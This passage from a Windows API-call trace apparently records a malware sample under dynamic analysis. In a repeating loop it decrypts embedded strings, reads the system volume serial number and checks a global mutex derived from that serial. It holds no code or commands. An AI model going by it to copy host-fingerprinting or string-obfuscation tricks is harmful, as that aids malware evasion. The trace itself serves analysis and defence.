lpName="Global\\22508443A5AF01") returned 0x224 [0160.934] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x0) returned 0x102 [0160.934] CloseHandle (hObject=0x224) returned 1 [0160.935] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5f50 | out: hHeap=0x1d0000) returned 1 [0160.936] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x2167040 | out: hHeap=0x1d0000) returned 1 [0160.936] Sleep (dwMilliseconds=0x3e8) [0161.042] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x20) returned 0x1dcca0 [0161.042] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df688*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6f0 | out: phKey=0x20df6f0*=0x871820) returned 1 [0161.042] CryptSetKeyParam (hKey=0x871820, dwParam=0x1, pbData=0x20df6d8, dwFlags=0x0) returned 1 [0161.042] CryptDecrypt (in: hKey=0x871820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dcca0, pdwDataLen=0x20df6a4 | out: pbData=0x1dcca0, pdwDataLen=0x20df6a4) returned 1 [0161.042] CryptDestroyKey (hKey=0x871820) returned 1 [0161.042] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x1e) returned 0x1dccc8 [0161.042] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x1e) returned 0x1dccf0 [0161.042] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x90) returned 0x1dab88 [0161.042] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df660*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6c8 | out: phKey=0x20df6c8*=0x871820) returned 1 [0161.042] CryptSetKeyParam (hKey=0x871820, dwParam=0x1, pbData=0x20df6b0, dwFlags=0x0) returned 1 [0161.043] CryptDecrypt (in: hKey=0x871820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dab88, pdwDataLen=0x20df67c | out: pbData=0x1dab88, pdwDataLen=0x20df67c) returned 1 [0161.043] CryptDestroyKey (hKey=0x871820) returned 1 [0161.043] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dab88 | out: hHeap=0x1d0000) returned 1 [0161.043] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x1dccc8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0161.044] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dccf0 | out: hHeap=0x1d0000) returned 1 [0161.044] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dcca0 | out: hHeap=0x1d0000) returned 1 [0161.044] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x20df730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x20df730*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0161.044] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dccc8 | out: hHeap=0x1d0000) returned 1 [0161.044] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x40) returned 0x1d5f50 [0161.044] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df6bc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df724 | out: phKey=0x20df724*=0x871820) returned 1 [0161.044] CryptSetKeyParam (hKey=0x871820, dwParam=0x1, pbData=0x20df70c, dwFlags=0x0) returned 1 [0161.044] CryptDecrypt (in: hKey=0x871820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d5f50, pdwDataLen=0x20df6d8 | out: pbData=0x1d5f50, pdwDataLen=0x20df6d8) returned 1 [0161.045] CryptDestroyKey (hKey=0x871820) returned 1 [0161.045] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x34) returned 0x2167040 [0161.045] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x224 [0161.045] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x0) returned 0x102 [0161.045] CloseHandle (hObject=0x224) returned 1 [0161.045] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5f50 | out: hHeap=0x1d0000) returned 1 [0161.046] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x2167040 | out: hHeap=0x1d0000) returned 1 [0161.046] Sleep (dwMilliseconds=0x3e8) [0161.243] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x20) returned 0x1dccc8 [0161.243] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df688*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6f0 | out: phKey=0x20df6f0*=0x871820) returned 1 [0161.243] CryptSetKeyParam (hKey=0x871820, dwParam=0x1, pbData=0x20df6d8, dwFlags=0x0) returned 1 [0161.243] CryptDecrypt (in: hKey=0x871820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dccc8, pdwDataLen=0x20df6a4 | out: pbData=0x1dccc8, pdwDataLen=0x20df6a4) returned 1 [0161.243] CryptDestroyKey (hKey=0x871820) returned 1 [0161.243] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x1e) returned 0x1dcca0 [0161.243] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x1e) returned 0x1dccf0 [0161.243] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x90) returned 0x1dab88 [0161.243] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df660*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6c8 | out: phKey=0x20df6c8*=0x871820) returned 1 [0161.243] CryptSetKeyParam (hKey=0x871820, dwParam=0x1, pbData=0x20df6b0, dwFlags=0x0) returned 1 [0161.243] CryptDecrypt (in: hKey=0x871820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dab88, pdwDataLen=0x20df67c | out: pbData=0x1dab88, pdwDataLen=0x20df67c) returned 1 [0161.243] CryptDestroyKey (hKey=0x871820) returned 1 [0161.244] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dab88 | out: hHeap=0x1d0000) returned 1 [0161.244] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x1dcca0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0161.244] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dccf0 | out: hHeap=0x1d0000) returned 1 [0161.245] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dccc8 | out: hHeap=0x1d0000) returned 1 [0161.245] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x20df730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x20df730*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0161.245] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dcca0 | out: hHeap=0x1d0000) returned 1 [0161.245] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x40) returned 0x1d5f50 [0161.245] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df6bc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df724 | out: phKey=0x20df724*=0x871820) returned 1 [0161.245] CryptSetKeyParam (hKey=0x871820, dwParam=0x1, pbData=0x20df70c, dwFlags=0x0) returned 1 [0161.245] CryptDecrypt (in: hKey=0x871820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d5f50, pdwDataLen=0x20df6d8 | out: pbData=0x1d5f50, pdwDataLen=0x20df6d8) returned 1 [0161.245] CryptDestroyKey (hKey=0x871820) returned 1 [0161.245] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x34) returned 0x2167040 [0161.245] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x224 [0161.245] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x0) returned 0x102 [0161.245] CloseHandle (hObject=0x224) returned 1 [0161.246] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5f50 | out: hHeap=0x1d0000) returned 1 [0161.246] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x2167040 | out: hHeap=0x1d0000) returned 1 [0161.246] Sleep (dwMilliseconds=0x3e8) [0161.760] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x20) returned 0x1dcca0 [0161.760] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df688*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6f0 | out: phKey=0x20df6f0*=0x871820) returned 1 [0161.760] CryptSetKeyParam (hKey=0x871820, dwParam=0x1, pbData=0x20df6d8, dwFlags=0x0) returned 1 [0161.760] CryptDecrypt (in: hKey=0x871820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dcca0, pdwDataLen=0x20df6a4 | out: pbData=0x1dcca0, pdwDataLen=0x20df6a4) returned 1 [0161.760] CryptDestroyKey (hKey=0x871820) returned 1 [0161.760] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x1e) returned 0x1dccc8 [0161.760] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x1e) returned 0x1dccf0 [0161.760] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x90) returned 0x1dab88 [0161.760] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df660*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6c8 | out: phKey=0x20df6c8*=0x871820) returned 1 [0161.760] CryptSetKeyParam (hKey=0x871820, dwParam=0x1, pbData=0x20df6b0, dwFlags=0x0) returned 1 [0161.760] CryptDecrypt (in: hKey=0x871820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dab88, pdwDataLen=0x20df67c | out: pbData=0x1dab88, pdwDataLen=0x20df67c) returned 1 [0161.760] CryptDestroyKey (hKey=0x871820) returned 1 [0161.761] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dab88 | out: hHeap=0x1d0000) returned 1 [0161.761] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x1dccc8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0161.761] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dccf0 | out: hHeap=0x1d0000) returned 1 [0161.762] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dcca0 | out: hHeap=0x1d0000) returned 1 [0161.762] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x20df730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x20df730*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0161.762] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dccc8 | out: hHeap=0x1d0000) returned 1 [0161.762] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x40) returned 0x1d5f50 [0161.762] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df6bc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df724 | out: phKey=0x20df724*=0x871820) returned 1 [0161.762] CryptSetKeyParam (hKey=0x871820, dwParam=0x1, pbData=0x20df70c, dwFlags=0x0) returned 1 [0161.762] CryptDecrypt (in: hKey=0x871820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d5f50, pdwDataLen=0x20df6d8 | out: pbData=0x1d5f50, pdwDataLen=0x20df6d8) returned 1 [0161.762] CryptDestroyKey (hKey=0x871820) returned 1 [0161.762] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x34) returned 0x2167040 [0161.762] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x224 [0161.762] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x0) returned 0x102 [0161.762] CloseHandle (hObject=0x224) returned 1 [0161.763] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5f50 | out: hHeap=0x1d0000) returned 1 [0161.764] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x2167040 | out: hHeap=0x1d0000) returned 1 [0161.764] Sleep (dwMilliseconds=0x3e8) [0162.403] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x20) returned 0x1dccc8 [0162.403] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df688*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6f0 | out: phKey=0x20df6f0*=0x871820) returned 1 [0162.403] CryptSetKeyParam (hKey=0x871820, dwParam=0x1, pbData=0x20df6d8, dwFlags=0x0) returned 1 [0162.403] CryptDecrypt (in: hKey=0x871820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dccc8, pdwDataLen=0x20df6a4 | out: pbData=0x1dccc8, pdwDataLen=0x20df6a4) returned 1 [0162.403] CryptDestroyKey (hKey=0x871820) returned 1 [0162.403] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x1e) returned 0x1dcca0 [0162.403] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x1e) returned 0x1dccf0 [0162.403] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x90) returned 0x1dab88 [0162.403] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df660*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6c8 | out: phKey=0x20df6c8*=0x871820) returned 1 [0162.403] CryptSetKeyParam (hKey=0x871820, dwParam=0x1, pbData=0x20df6b0, dwFlags=0x0) returned 1 [0162.403] CryptDecrypt (in: hKey=0x871820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dab88, pdwDataLen=0x20df67c | out: pbData=0x1dab88, pdwDataLen=0x20df67c) returned 1 [0162.403] CryptDestroyKey (hKey=0x871820) returned 1 [0162.404] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dab88 | out: hHeap=0x1d0000) returned 1 [0162.404] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x1dcca0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0162.404] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dccf0 | out: hHeap=0x1d0000) returned 1 [0162.404] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dccc8 | out: hHeap=0x1d0000) returned 1 [0162.404] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x20df730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x20df730*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0162.404] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dcca0 | out: hHeap=0x1d0000) returned 1 [0162.404] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x40) returned 0x1d5f50 [0162.404] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df6bc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df724 | out: phKey=0x20df724*=0x871820) returned 1 [0162.404] CryptSetKeyParam (hKey=0x871820, dwParam=0x1, pbData=0x20df70c, dwFlags=0x0) returned 1 [0162.404] CryptDecrypt (in: hKey=0x871820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d5f50, pdwDataLen=0x20df6d8 | out: pbData=0x1d5f50, pdwDataLen=0x20df6d8) returned 1 [0162.404] CryptDestroyKey (hKey=0x871820) returned 1 [0162.405] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x34) returned 0x2167040 [0162.405] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x224 [0162.405] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x0) returned 0x102 [0162.405] CloseHandle (hObject=0x224) returned 1 [0162.405] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5f50 | out: hHeap=0x1d0000) returned 1 [0162.405] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x2167040 | out: hHeap=0x1d0000) returned 1 [0162.405] Sleep (dwMilliseconds=0x3e8) [0162.514] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x20) returned 0x1dcca0 [0162.514] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df688*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6f0 | out: phKey=0x20df6f0*=0x871820) returned 1 [0162.514] CryptSetKeyParam (hKey=0x871820, dwParam=0x1, pbData=0x20df6d8, dwFlags=0x0) returned 1 [0162.514] CryptDecrypt (in: hKey=0x871820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dcca0, pdwDataLen=0x20df6a4 | out: pbData=0x1dcca0, pdwDataLen=0x20df6a4) returned 1 [0162.514] CryptDestroyKey (hKey=0x871820) returned 1 [0162.514] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x1e) returned 0x1dccc8 [0162.514] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x1e) returned 0x1dccf0 [0162.514] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x90) returned 0x1dab88 [0162.514] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df660*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6c8 | out: phKey=0x20df6c8*=0x871820) returned 1 [0162.514] CryptSetKeyParam (hKey=0x871820, dwParam=0x1, pbData=0x20df6b0, dwFlags=0x0) returned 1 [0162.514] CryptDecrypt (in: hKey=0x871820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dab88, pdwDataLen=0x20df67c | out: pbData=0x1dab88, pdwDataLen=0x20df67c) returned 1 [0162.514] CryptDestroyKey (hKey=0x871820) returned 1 [0162.514] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dab88 | out: hHeap=0x1d0000) returned 1 [0162.514] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x1dccc8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0162.514] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dccf0 | out: hHeap=0x1d0000) returned 1 [0162.515] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dcca0 | out: hHeap=0x1d0000) returned 1 [0162.515] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x20df730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x20df730*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0162.515] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dccc8 | out: hHeap=0x1d0000) returned 1 [0162.515] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x40) returned 0x1d5f50 [0162.515] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df6bc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df724 | out: phKey=0x20df724*=0x871820) returned 1 [0162.515] CryptSetKeyParam (hKey=0x871820, dwParam=0x1, pbData=0x20df70c, dwFlags=0x0) returned 1 [0162.515] CryptDecrypt (in: hKey=0x871820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d5f50, pdwDataLen=0x20df6d8 | out: pbData=0x1d5f50, pdwDataLen=0x20df6d8) returned 1 [0162.515] CryptDestroyKey (hKey=0x871820) returned 1 [0162.515] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x34) returned 0x2167040 [0162.515] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x224 [0162.515] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x0) returned 0x102 [0162.515] CloseHandle (hObject=0x224) returned 1 [0162.516] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5f50 | out: hHeap=0x1d0000) returned 1 [0162.516] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x2167040 | out: hHeap=0x1d0000) returned 1 [0162.516] Sleep (dwMilliseconds=0x3e8) [0162.774] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x20) returned 0x1dccc8 [0162.774] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df688*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6f0 | out: phKey=0x20df6f0*=0x871820) returned 1 [0162.782] CryptSetKeyParam (hKey=0x871820, dwParam=0x1, pbData=0x20df6d8, dwFlags=0x0) returned 1 [0162.782] CryptDecrypt (in: hKey=0x871820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dccc8, pdwDataLen=0x20df6a4 | out: pbData=0x1dccc8, pdwDataLen=0x20df6a4) returned 1 [0162.782] CryptDestroyKey (hKey=0x871820) returned 1 [0162.782] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x1e) returned 0x1dcca0 [0162.791] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x1e) returned 0x1dccf0 [0162.791] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x90) returned 0x1dab88 [0162.791] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df660*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6c8 | out: phKey=0x20df6c8*=0x871820) returned 1 [0162.791] CryptSetKeyParam (hKey=0x871820, dwParam=0x1, pbData=0x20df6b0, dwFlags=0x0) returned 1 [0162.791] CryptDecrypt (in: hKey=0x871820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dab88, pdwDataLen=0x20df67c | out: pbData=0x1dab88, pdwDataLen=0x20df67c) returned 1 [0162.791] CryptDestroyKey (hKey=0x871820) returned 1 [0162.791] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dab88 | out: hHeap=0x1d0000) returned 1 [0162.792] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x1dcca0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0162.792] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dccf0 | out: hHeap=0x1d0000) returned 1 [0162.792] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dccc8 | out: hHeap=0x1d0000) returned 1 [0162.792] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x20df730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x20df730*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0162.792] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dcca0 | out: hHeap=0x1d0000) returned 1 [0162.792] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x40) returned 0x1d5f50 [0162.792] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df6bc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df724 | out: phKey=0x20df724*=0x871820) returned 1 [0162.793] CryptSetKeyParam (hKey=0x871820, dwParam=0x1, pbData=0x20df70c, dwFlags=0x0) returned 1 [0162.793] CryptDecrypt (in: hKey=0x871820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d5f50, pdwDataLen=0x20df6d8 | out: pbData=0x1d5f50, pdwDataLen=0x20df6d8) returned 1 [0162.793] CryptDestroyKey (hKey=0x871820) returned 1 [0162.793] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x34) returned 0x2167040 [0162.793] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x224 [0162.793] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x0) returned 0x102 [0162.793] CloseHandle (hObject=0x224) returned 1 [0162.793] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5f50 | out: hHeap=0x1d0000) returned 1 [0162.793] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x2167040 | out: hHeap=0x1d0000) returned 1 [0162.793] Sleep (dwMilliseconds=0x3e8) [0162.896] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x20) returned 0x1dcca0 [0162.896] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df688*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6f0 | out: phKey=0x20df6f0*=0x871820) returned 1 [0162.896] CryptSetKeyParam (hKey=0x871820, dwParam=0x1, pbData=0x20df6d8, dwFlags=0x0) returned 1 [0162.896] CryptDecrypt (in: hKey=0x871820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dcca0, pdwDataLen=0x20df6a4 | out: pbData=0x1dcca0, pdwDataLen=0x20df6a4) returned 1 [0162.896] CryptDestroyKey (hKey=0x871820) returned 1 [0162.896] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x1e) returned 0x1dccc8 [0162.896] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x1e) returned 0x1dccf0 [0162.896] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x90) returned 0x1dab88 [0162.896] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df660*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6c8 | out: phKey=0x20df6c8*=0x871820) returned 1 [0162.896] CryptSetKeyParam (hKey=0x871820, dwParam=0x1, pbData=0x20df6b0, dwFlags=0x0) returned 1 [0162.896] CryptDecrypt (in: hKey=0x871820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dab88, pdwDataLen=0x20df67c | out: pbData=0x1dab88, pdwDataLen=0x20df67c) returned 1 [0162.896] CryptDestroyKey (hKey=0x871820) returned 1 [0162.896] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dab88 | out: hHeap=0x1d0000) returned 1 [0162.897] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x1dccc8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0162.897] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dccf0 | out: hHeap=0x1d0000) returned 1 [0162.897] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dcca0 | out: hHeap=0x1d0000) returned 1 [0162.897] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x20df730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x20df730*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0162.897] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dccc8 | out: hHeap=0x1d0000) returned 1 [0162.897] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x40) returned 0x1d5f50 [0162.897] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df6bc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df724 | out: phKey=0x20df724*=0x871820) returned 1 [0162.897] CryptSetKeyParam (hKey=0x871820, dwParam=0x1, pbData=0x20df70c, dwFlags=0x0) returned 1 [0162.897] CryptDecrypt (in: hKey=0x871820, hHash=0x0, Final=0, 